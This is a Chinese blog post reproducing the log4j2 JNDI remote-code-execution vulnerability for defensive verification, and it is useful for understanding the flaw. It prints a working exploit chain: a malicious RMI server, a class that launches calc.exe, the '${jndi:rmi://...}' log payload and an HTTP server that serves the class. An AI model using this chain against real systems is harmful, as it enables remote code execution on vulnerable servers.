复现 log4j2 CNVD-2021-95914 漏洞
前景:昨天被一则新闻刷屏
当看到这个消息的时候,公司也启动紧急响应,要求来检查目前生产中使用的log4j版本是否有这个问题,根据火线官方说明,但凡是版本在 2.x <= 2.15.0-rc1,都会有这个漏洞,一看到这个,我就知道基本全覆盖了,果然一看服务器上的组件,hadoop全家桶、elasticsearch、flink、spark 基本全部命中,紧急之下,先让运维同志先拦截一切带有 jndi: 关键字的请求,为了更好的验证这个bug,我们在自己的电脑上做了复现
RmiServer:Rmi服务端代码
该项目用于启动Rmi的地址服务功能
com.server.EvilObj //恶意代码,会启动客户端的计算器软件
1 package com.server;//package com.hns; 2 3 import javax.lang.model.element.Name; 4 import javax.naming.Context; 5 import java.io.BufferedInputStream; 6 import java.io.BufferedReader; 7 import java.io.IOException; 8 import java.io.InputStreamReader; 9 import java.rmi.RemoteException; 10 import java.rmi.server.UnicastRemoteObject; 11 import java.util.HashMap; 12 13 public class EvilObj extends UnicastRemoteObject { 14 protected EvilObj() throws RemoteException { 15 } 16 17 public static void exec(String cmd) throws IOException { 18 String sb = ""; 19 BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); 20 BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream)); 21 String lineStr; 22 while((lineStr = inBr.readLine()) != null){ 23 sb += lineStr+"\n"; 24 25 } 26 inBr.close(); 27 inBr.close(); 28 } 29 30 public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{ 31 return null; 32 } 33 34 static { 35 try{ 36 exec("calc.exe"); 37 }catch (Exception e){ 38 e.printStackTrace(); 39 } 40 } 41 }
com.server.Server //rmi服务,绑定rmi注册表
1 package com.server; 2 3 import com.sun.jndi.rmi.registry.ReferenceWrapper; 4 5 import javax.naming.NamingException; 6 import javax.naming.Reference; 7 import java.rmi.AlreadyBoundException; 8 import java.rmi.RemoteException; 9 import java.rmi.registry.LocateRegistry; 10 import java.rmi.registry.Registry; 11 12 public class Server { 13 public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { 14 System.setProperty("FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS", "true"); 15 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); 16 17 Registry registry = LocateRegistry.createRegistry(1099); 18 String url = "http://192.168.32.90:6666/"; //下载恶意代码的地址,被攻击者会到 http://192.168.32.90:6666/com/server/EvilObj.class下载恶意代码
19 System.out.println("Create RMI registry on port 1099"); 20 Reference reference = new Reference("com.server.EvilObj", "com.server.EvilObj", url);
21 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
22 registry.bind("evil", referenceWrapper);
23 }
24 }
Log4j2Client :Log4j2客户端代码
com.client.Client
1 package com.client; 2 3 import org.apache.logging.log4j.LogManager; 4 import org.apache.logging.log4j.Logger; 5 6 import javax.naming.NamingException; 7 8 public class Client { 9 private static Logger log = LogManager.getLogger(Client.class); 10 public static void main(String[] args) throws NamingException, InterruptedException { 11 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); 12 System.setProperty("FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS", "true"); 13 // Context context = new InitialContext(); 14 // context.lookup("rmi://192.168.32.90:1099/evil"); //直接请求rmi服务 15 16 log.error("${jndi:rmi://192.168.32.90:1099/evil}"); //用jndi方式,拉取加载rmi服务 17 } 18 }
部署:
1、将RmiServer 项目部署到 一台远程的window电脑上(192.168.32.90),使用下面命令启动
1 D:\ProgramFiles\java\jdk1.8.0_121\bin\java.exe -cp RmiServer-1.0-SNAPSHOT.jar com.server.Server
2、在远程的window电脑上(192.168.32.90)上创建目录:D:\documents\desktop\test\ClassLoadHttpServer\com\server,里面放上 恶意代码的class文件:EvilObj.class
3、在D:\documents\desktop\test\ClassLoadHttpServer目录下,执行下面命令,启动一个http服务端,提供恶意代码的class文件给被攻击者下载
1 python -m http.server 6666
4、在本机上,启动Log4j2Client项目的 com.client.Client#main 方法,就会触发自己本机的计算器被启动